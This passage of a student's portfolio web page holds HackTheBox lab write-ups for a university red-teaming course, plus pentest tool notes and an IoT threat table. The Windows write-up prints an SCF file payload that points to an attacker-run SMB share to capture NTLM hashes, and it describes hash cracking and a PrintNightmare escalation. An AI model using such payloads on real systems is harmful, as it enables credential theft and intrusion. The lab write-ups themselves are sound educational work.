"Id":"47c78eb0450f08b91f8e1c587c98f4e2b4e5ac4b4c26c6a0a3283bc67d5df216", "Image":"sha256:5c62e459e087e3bd3d963092b58e50ae2af881076b43c29e38e2b5db253e0287", "LogPath":"/var/lib/docker/containers/47c78eb0450f08b91f8e1c587c98f4e2b4e5ac4b4c26c6a0a3283bc67d5df216/47c78eb0450f08b91f8e1c587c98f4e2b4e5ac4b4c26c6a0a3283bc67d5df216-json.log", "MountLabel":"", "Mounts":[ { "Destination":"/docker-entrypoint-initdb.d", "Mode":"ro", "Propagation":"rprivate", "RW":false, "Source":"/root/app/scripts/init.d", "Type":"bind" }, { "Destination":"/var/lib/mysql", "Driver":"local", "Mode":"rw", "Name":"app_vol_mysql", "Propagation":"", "RW":true, "Source":"/var/lib/docker/volumes/app_vol_mysql/_data", "Type":"volume" } ], "Name":"/mysql", "NetworkSettings":{ "Bridge":"", "EndpointID":"", "Gateway":"", "GlobalIPv6Address":"", "GlobalIPv6PrefixLen":0, "HairpinMode":false, "IPAddress":"", "IPPrefixLen":0, "IPv6Gateway":"", "LinkLocalIPv6Address":"", "LinkLocalIPv6PrefixLen":0, "MacAddress":"", "Networks":{ "app_nw":{ "Aliases":[ "47c78eb0450f", "mysql" ], "DriverOpts":null, "EndpointID":"50037fb137fd880f88a9efd17eb8cf94bf8142ec263080b4c904afeeaa79aa2e", "Gateway":"172.18.0.1", "GlobalIPv6Address":"", "GlobalIPv6PrefixLen":0, "IPAMConfig":{ "IPv4Address":"172.18.0.100" }, "IPAddress":"172.18.0.100", "IPPrefixLen":16, "IPv6Gateway":"", "Links":null, "MacAddress":"02:42:ac:12:00:64", "NetworkID":"021b24b8b3e1e3638463eeb7dc9af59c36cc412578cdf51931a24f04ea6f5532" } }, "Ports":{ "3306/tcp":null, "33060/tcp":null }, "SandboxID":"99cbb57fded2142e5dad46330b43249d2866f8514fb4342d06322f3e3b5c60f1", "SandboxKey":"/var/run/docker/netns/99cbb57fded2", "SecondaryIPAddresses":null, "SecondaryIPv6Addresses":null }, "Path":"docker-entrypoint.sh", "Platform":"linux", "ProcessLabel":"", "ResolvConfPath":"/var/lib/docker/containers/47c78eb0450f08b91f8e1c587c98f4e2b4e5ac4b4c26c6a0a3283bc67d5df216/resolv.conf", "RestartCount":0, "State":{ "Dead":false, "Error":"", "ExitCode":0, "FinishedAt":"0001-01-01T00:00:00Z", "Health":{ "FailingStreak":0, "Log":[ { "End":"2021-10-04T17:08:01.998027574+02:00", "ExitCode":0, "Output":"mysqladmin: [Warning] Using a password on the command line interface can be insecure.\nmysqld is alive\n", "Start":"2021-10-04T17:08:01.908189033+02:00" }, { "End":"2021-10-04T17:08:07.080804898+02:00", "ExitCode":0, "Output":"mysqladmin: [Warning] Using a password on the command line interface can be insecure.\nmysqld is alive\n", "Start":"2021-10-04T17:08:07.000613396+02:00" }, { "End":"2021-10-04T17:08:12.166584919+02:00", "ExitCode":0, "Output":"mysqladmin: [Warning] Using a password on the command line interface can be insecure.\nmysqld is alive\n", "Start":"2021-10-04T17:08:12.083845791+02:00" }, { "End":"2021-10-04T17:08:17.254375293+02:00", "ExitCode":0, "Output":"mysqladmin: [Warning] Using a password on the command line interface can be insecure.\nmysqld is alive\n", "Start":"2021-10-04T17:08:17.16894306+02:00" }, { "End":"2021-10-04T17:08:22.350400823+02:00", "ExitCode":0, "Output":"mysqladmin: [Warning] Using a password on the command line interface can be insecure.\nmysqld is alive\n", "Start":"2021-10-04T17:08:22.257747436+02:00" } ], "Status":"healthy" }, "OOMKilled":false, "Paused":false, "Pid":1108, "Restarting":false, "Running":true, "StartedAt":"2021-10-04T06:57:47.409835076Z", "Status":"running" } }, "status":200 } </code> </pre> <p>Looks like an username and some passwords lets try those with ssh.</p> <a href="img/portfolio/minor/red/htb_linux/UserFlag.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/UserFlag.png" alt=""></a> <p>We got the user flag! But now we need to find something to escalate our privileges. We could use LinPEAS to try and find something but we first have to get it on this machine.</p> <a href="img/portfolio/minor/red/htb_linux/SimpleHTTPServer.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/SimpleHTTPServer.png" alt=""></a> <a href="img/portfolio/minor/red/htb_linux/WGETLinpeas.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/WGETLinpeas.png" alt=""></a> <p>I used SimpleHTTPServer to get LinPeas from my machine to the target machine because the target machine didn't have access to the internet. Now we need to run LinPEAS.</p> <a href="img/portfolio/minor/red/htb_linux/LinpeasMail.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/LinpeasMail.png" alt=""></a> <a href="img/portfolio/minor/red/htb_linux/LinpeasDockerIP.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/LinpeasDockerIP.png" alt=""></a> <a href="img/portfolio/minor/red/htb_linux/LinpeasDockerFolder.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/LinpeasDockerFolder.png" alt=""></a> <p>Looks like LinPEAS found some interesting stuff like a mail message to Drew and the docker ip ranges and a docker folder that is edited regularly.</p> <a href="img/portfolio/minor/red/htb_linux/Mail.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/Mail.png" alt=""></a> <p>This probably means that the docker folder that gets edited regularly is the folder containing the game. And that some script is running that we could use.</p> <a href="img/portfolio/minor/red/htb_linux/DrewPublicKey.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/DrewPublicKey.png" alt=""></a> <p>Looks like we got a public key as game-tester as well. Lets try to login into the docker ips using this public key.</p> <a href="img/portfolio/minor/red/htb_linux/Game-testerShell.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/Game-testerShell.png" alt=""></a> <a href="img/portfolio/minor/red/htb_linux/SharedFolderGame-tester.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/SharedFolderGame-tester.png" alt=""></a> <a href="img/portfolio/minor/red/htb_linux/SharedFolderDrew.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/SharedFolderDrew.png" alt=""></a> <p>And it worked now we got a shell as game-tester as well on a docker container. I noticed that the same docker folder on Drew also exists on the docker container and that they are shared. I also noticed that the docker folder get rewritten entirely so all files inside get removed and replaced before the server is restarted again. Lets see what the script does.</p> <a href="img/portfolio/minor/red/htb_linux/CatNode-server.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/CatNode-server.png" alt=""></a> <p>It runs in a folder called /usr/src/app which doesn't exist on the Drew user but it does on the game-tester container. So lets look at that as well.</p> <a href="img/portfolio/minor/red/htb_linux/CatServerJS.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/CatServerJS.png" alt=""></a> <p>Look like we can crash the server if we make a POST to autoplay with a decimal instead of an integer. But that doesn't get us anywhere we need to infect the node-server.sh first.</p> <a href="img/portfolio/minor/red/htb_linux/DrewPublicKey.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/DrewPublicKey.png" alt=""></a> <p>I found this <a href="https://book.hacktricks.xyz/linux-unix/privilege-escalation/docker-breakout">website</a> explaining priv esc with docker so I gave it a try. But I have to be faster than the server can create the node-server.sh in order to infect it. So I created a script.</p> <a href="img/portfolio/minor/red/htb_linux/RogueNode-server.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/RogueNode-server.png" alt=""></a> <a href="img/portfolio/minor/red/htb_linux/ExploitLoop.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/ExploitLoop.png" alt=""></a> <p>This should create a bash file in /tmp on the game-tester container that is executable by game-tester in order to priv esc. So lets crash the server and try it.</p> <a href="img/portfolio/minor/red/htb_linux/ExploitRun.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/ExploitRun.png" alt=""></a> <a href="img/portfolio/minor/red/htb_linux/CrashGameServer.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/CrashGameServer.png" alt=""></a> <p>I had to give it a few tries in order to succeed because in some cases the server was actually faster than my script.</p> <a href="img/portfolio/minor/red/htb_linux/RootOnDocker.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/RootOnDocker.png" alt=""></a> <p>And it worked now we need to do the same thing in order to get root on the Drew machine but this time we don't have to worry about speed because we don't need to infect a script, we just have to do it fast enough before all the files inside the folder get deleted again.</p> <a href="img/portfolio/minor/red/htb_linux/InfectBashAsGame-tester.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/InfectBashAsGame-tester.png" alt=""></a> <a href="img/portfolio/minor/red/htb_linux/RootFlag.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/RootFlag.png" alt=""></a> <p>That's it! We are root and got the flag!</p> <p>Although it took me quite a while to root this machine it was a really fun one. Containing a lot of different exploits mostly straight from the OWASP top 10 but also some I never heard of before like the docker priv esc.</p> <ul class="list-inline"> <li>Date: October 2021</li> <li>Client: Fontys</li> <li>Category: Minor Red-teaming</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal22" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S7</h2> <p class="item-intro text-muted">HackTheBox Windows Write-up</p> <a href="img/portfolio/minor/red/htb_windows/DriverCard.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/DriverCard.png" alt=""></a> <p>First lets start with the basic enumeration and do a NMap.</p> <a href="img/portfolio/minor/red/htb_windows/NMapOutput.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/NMapOutput.png" alt=""></a> <p>When navigating to the webpage we are greeted by a login screen. After some searching and not finding anything useful I tried to login with just a default password admin:admin it was a longshot but it worked!</p> <a href="img/portfolio/minor/red/htb_windows/Dashboard.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/Dashboard.png" alt=""></a> <p>The only button that worked on the website was Firmware updates where you can upload a file. Knowing that SMB was also an open port I found this <a href="https://pentestlab.blog/2017/12/13/smb-share-scf-file-attacks/">website</a> this could potentially it so lets try it out. </p> <pre style="text-align: left"> <code class="prettyprint"> [Shell] Command=2 Iconfile=\\10.10.14.161\share\test.ico [Taskbar] Command=ToggleDesktop </code> </pre> <a href="img/portfolio/minor/red/htb_windows/ResponderOutput.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/ResponderOutput.png" alt=""></a> <p>I created a payload like the example given on the site I found started responder and got a few hits. Now we know the username and maybe the password if we manage to crack it. We know from the responder output that it is a NTLM hash so lets put Hashcat on it and see what we'll get.</p> <a href="img/portfolio/minor/red/htb_windows/HashcatOutput.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/HashcatOutput.png" alt=""></a> <p>Hashcat cracked the password with ease and now we can take a look at the SMB folder to see if we can find anything interesting.</p> <a href="img/portfolio/minor/red/htb_windows/SMBMap.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/SMBMap.png" alt=""></a> <p>We didn't find anything interesting but knowing from the NMap output we also know that the RDP port is open so maybe it uses the same password.</p> <a href="img/portfolio/minor/red/htb_windows/UserFlag.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/UserFlag.png" alt=""></a> <p>This was indeed the case and now we already have the user flag. For priv esc running at least WinPEAS is a no-brainer. So I used SimpleHTTPServer to get WinPEAS on the target machine.</p> <a href="img/portfolio/minor/red/htb_windows/SimpleHTTPServer.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/SimpleHTTPServer.png" alt=""></a> <a href="img/portfolio/minor/red/htb_windows/WgetWinpeas.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/WgetWinpeas.png" alt=""></a> <a href="img/portfolio/minor/red/htb_windows/ProcessPrintSpool.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/ProcessPrintSpool.png" alt=""></a> <p>Really the only interesting thing WinPEAS found was a Print spooler process. After some Googling I stubled across <a href="https://github.com/calebstewart/CVE-2021-1675">this</a> CVE. So lets get that exploit on the target machine in the same way we did with WinPEAS.</p> <a href="img/portfolio/minor/red/htb_windows/WgetPrintNightmare.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/WgetPrintNightmare.png" alt=""></a> <p>I wasn't able to run the script because of some permission issues, but after some Googling I found out I could just set the policy to unrestricted.</p> <a href="img/portfolio/minor/red/htb_windows/RunExploit.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/RunExploit.png" alt=""></a> <p>I ran the exploit and it created a new administrator account for me with a username and password that I chose and know. Now the only thing that's left is just to logout as this user and login with our new user.</p> <a href="img/portfolio/minor/red/htb_windows/RootFlag.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/RootFlag.png" alt=""></a> <p>And that's it! We have the root flag! This box wasn't that hard but still fun and sometimes challenging due to my lack of knowledge of Windows hacking. Overall a fun learning experience.</p> <ul class="list-inline"> <li>Date: October 2021</li> <li>Client: Fontys</li> <li>Category: Minor Red-teaming</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal23" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal24" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal25" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S7</h2> <p class="item-intro text-muted">My personal pen-testing toolboxes</p> <p>Like every other profession good tools make a world of difference on the quality and efficiency of the end product. This isn't any different with cyber security. Good tools can improve results providing you with more information and helping with getting to the results faster.</p> <h3>On the road</h3> <a href="img/portfolio/minor/red/kalilinux.jpg"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/kalilinux.jpg" alt=""></a> <p>On the road when I'm on my laptop I like to use Kali Linux. It's just convenient that it comes pre-loaded with all the tools you need, and it runs fairly lightweight on older laptops. The "kali-undercover" command is also a fun little gimmick that changes your Kali desktop to a Windows clone which for a random passer by looks just like a regular Windows machine. Making it incognito to use Kali whenever you're in a public space and want to keep a low profile.</p> <h3>At home</h3> <a href="img/portfolio/minor/red/parrotos.jpg"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/parrotos.jpg" alt=""></a> <p>At home on my main desktop PC I recently switched to natively running ParrotOS. This was because I liked to try something new and the reviews were good. It comes pre-loaded with the same tools as kali and a few extra tools like diverting all traffic trough tor making the machine even more anonymous. The user experience is a little better and just overall a good looking distro. This comes at a cost because it takes more resources to run. This isn't a problem on my PC because it's quite powerful and I don't have to think about battery life. Alongside ParrotOS I run a Windows VM in qemu with WinApps running on Linux which enables me to run any Windows application I want on Linux. I mostly use it for Microsoft Office products.</p> <h3>Cloud</h3> <a href="img/portfolio/minor/red/googlecloudconsole.PNG"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/googlecloudconsole.PNG" alt=""></a> <p>Google cloud console is an awesome way to always have a Linux machine at your disposal where ever you are. It's fully cloud based and free to use. So when you're in need of a Linux terminal and you have access to a browser you're set. The only downside is that the machine is volatile so when you shut it down it is gone. This requires you to always re-install tools and such. Luckily due to it running on Google cloud it is pretty fast. Just overall a good tool to know about.</p> <a href="img/portfolio/minor/red/guacamole.PNG"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/guacamole.PNG" alt=""></a> <p>Now Guacamole is kinda like Google cloud console, but it's self-hosted. It can turn any machine with a SSH server into a cloud based web terminal accessible from any browser where ever you are. It takes a little time and effort to set it up but it is worth it. All the benefits from Google cloud console but your data is hosted by you and it is saved. In my case I installed Kali Linux on a docker server and now I can access it whenever I need to it doesn't matter if I'm on Windows, Linux or even my phone.</p> <a href="img/portfolio/minor/red/guacamoleconsole.PNG"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/guacamoleconsole.PNG" alt=""></a> <h3>Windows</h3> <a href="img/portfolio/minor/red/wsl.jpg"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/wsl.jpg" alt=""></a> <p>Whenever I'm using Windows and need to do a quick little task that requires Linux I don't want to reboot and boot into Linux because it's a hassle. That's when I use WSL. WSL stands for Windows Subsystem for Linux and it works great. It's not everything for example network related stuff is not possible due to WSL not having direct access to the network card but for other simple stuff it works great. And if I need to do a quick little scan I can use the Windows version of NMap. And if I need a little more functionality I can always use the before mentioned Guacamole to have instant access to a fully functional Kali instance in my browser.</p> <ul class="list-inline"> <li>Date: September 2021</li> <li>Client: Fontys</li> <li>Category: Minor Red-teaming</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal26" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S7</h2> <p class="item-intro text-muted">Security of IOT protocols and technology</p> <p>Nowadays more and more people have their home filled with smart devices. Almost everything is smart in some way. Which creates new problems like security. These products weren't made with security in mind, on the contrary, they were made to be cheap and easy to use for people without IT knowledge.</p> <p>This causes IOT products to be, the most of the time, the weakest link in someones network. But IOT is here to stay and it is improving fast so let's take a look at some common security protocols.</p> <table> <tr> <th>Protocol</th> <th>Feature</th> <th>TCP/UDP</th> <th>Security</th> </tr> <tr> <td>LOWPAN</td> <td>WPANs to maintain an IPv6 network</td> <td>TCP</td> <td>SSL</td> </tr> <tr> <td>MQTT</td> <td>To utilize the publish/subscribe pattern to provide transition flexibility and simplicity of implementation </td> <td>TCP</td> <td>SSL</td> </tr> <tr> <td>AMQP</td> <td>To provide publish-subscribe and point-to point communication</td> <td>TCP</td> <td>SSL</td> </tr> <tr> <td>CoAP</td> <td>To connect resource-constrained devices in a secure and reliable way</td> <td>UDP</td> <td>DTLS</td> </tr> <tr> <td>XMPP</td> <td>To transfer instant messaging (IM) standard that is used for multi-party chatting, voice and video calling and telepresence </td> <td>TCP</td> <td>SSL</td> </tr> <tr> <td>DSS</td> <td>To enable scalable, real-time, dependable, high-performance and interoperable data exchanges using a publish–subscribe pattern </td> <td>TCP/UDP</td> <td>SSL</td> </tr> </table> <p>To show the security flaws in IOT devices</p> <table> <thead> <tr class="rowsep-1 valign-top"> <th scope="col">Layers</th> <th scope="col">Attacks</th> <th scope="col">Issues</th> <th scope="col">Control Measures</th> </tr> </thead> <tbody> <tr class="valign-top"> <td class="align-left" rowspan="6">Perception</td> <td class="align-left">Hardware Tempering</td> <td class="align-left">Data Leakage (Keys, Routing Tables, Etc)</td> <td class="align-left">Secure Physical Design</td> </tr> <tr class="valign-top"> <td class="align-left">Fake Node Injection</td> <td class="align-left">Fake Data Manipulation</td> <td class="align-left">Secure Booting</td> </tr> <tr class="valign-top"> <td class="align-left">Malicious Code Injection</td> <td class="align-left">Halt Transmission</td> <td class="align-left">Intrusion Detection Technology (IDT)</td> </tr> <tr class="valign-top"> <td class="align-left">Sleep Denial Attack</td> <td class="align-left">Node Shutdown</td> <td class="align-left">Authentication</td> </tr> <tr class="valign-top"> <td class="align-left">WSN Node Jamming</td> <td class="align-left">Jam Node Communication</td> <td class="align-left">IPSec Security Channel</td> </tr> <tr class="valign-top"> <td class="align-left">RF Interference Of RFID</td> <td class="align-left">Distortion In Node Communication</td> <td class="align-left">Authentication</td> </tr> <tr class="valign-top"> <td class="align-left" rowspan="12">Network</td> <td class="align-left">Traffic Analysis Attacks</td> <td class="align-left">Data Leakage (About Network)</td> <td class="align-left">Routing Security</td> </tr> <tr class="valign-top"> <td class="align-left">RFID Spoofing</td> <td class="align-left">Intrusion In Network Data Manipulation</td> <td class="align-left">GPS Location System</td> </tr> <tr class="valign-top"> <td class="align-left">RFID Unauthorized Access</td> <td class="align-left">Node Data Can Be Modified (Read, Write & Delete)</td> <td class="align-left">Network Authentication</td> </tr> <tr class="valign-top"> <td class="align-left">Sinkhole Attack</td> <td class="align-left">Data Leakage (Data Of The Nodes)</td> <td class="align-left">Security Aware Ad Hoc Routing</td> </tr> <tr class="valign-top"> <td class="align-left">Man In The Middle Attack</td> <td class="align-left">Data Privacy Violation</td> <td class="align-left">Point-To-Point Encryption</td> </tr> <tr class="valign-top"> <td class="align-left">Routing Information Attack</td> <td class="align-left">Routing Loops (Network Destruction)</td> <td class="align-left">Encrypting Routing Tables</td> </tr> <tr class="valign-top"> <td class="align-left">Application Security</td> <td class="align-left">Privacy Violation</td> <td class="align-left">Web Application Scanner</td> </tr> <tr class="valign-top"> <td class="align-left">Data Security</td> <td class="align-left">Data Leakage (User Data On Cloud)</td> <td class="align-left">Homomorphic Encryption</td> </tr> <tr class="valign-top"> <td class="align-left">Underlying Infrastructure Security</td> <td class="align-left">Service Hijacking</td> <td class="align-left">Fragmentation Redundancy Scattering</td> </tr> <tr class="valign-top"> <td class="align-left">Third-Party Relationships</td> <td class="align-left">Data Leakage (User Data On Cloud)</td> <td class="align-left">Encryption</td> </tr> <tr class="valign-top"> <td class="align-left">Shared Resources</td> <td class="align-left">Resources Destruction</td> <td class="align-left">Hyper Safe</td> </tr> <tr class="valign-top"> <td class="align-left">Virtualization Threats</td> <td class="align-left">Resources Theft</td> <td class="align-left">Hyper Safe</td> </tr> <tr class="valign-top"> <td class="align-left" rowspan="6">Application</td> <td class="align-left">Phishing Attacks</td> <td class="align-left">Data Leakage (User Credentials Data)</td> <td class="align-left">Biometrics Authentication</td> </tr> <tr class="valign-top"> <td class="align-left">Virus, Worms, Trojan Horse, Spyware</td> <td class="align-left">Resource Destruction & Hijacking</td> <td class="align-left">Protective Software</td> </tr> <tr class="valign-top"> <td class="align-left">Malicious Scripts</td> <td class="align-left">Hijacking</td> <td class="align-left">Firewalls</td> </tr> <tr class="valign-top"> <td class="align-left">Denial Of Service</td> <td class="align-left">Resource Destruction</td> <td class="align-left">Access Control Lists</td> </tr> <tr class="valign-top"> <td class="align-left">Data Protection And Recovery</td> <td class="align-left">Data Loss & Catastrophic Damage</td> <td class="align-left">Cryptographic Hash Functions</td> </tr> <tr class="valign-top"> <td class="align-left">Software Vulnerabilities</td> <td class="align-left">Buffer Over Flow</td> <td class="align-left">Awareness Of Security</td> </tr> </tbody> </table> <a href="https://www.sciencedirect.com/science/article/pii/S108480452030237X#sec3">Source</a> <p>As seen in this article there are a lot of different vulnerabilities in IOT devices. And not all of them can be solved with just a good security protocol.</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: November 2021</li> <li>Client: Fontys</li> <li>Category: Minor Red-teaming</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal27" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal28" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal29" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal30" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal31" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal23" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: 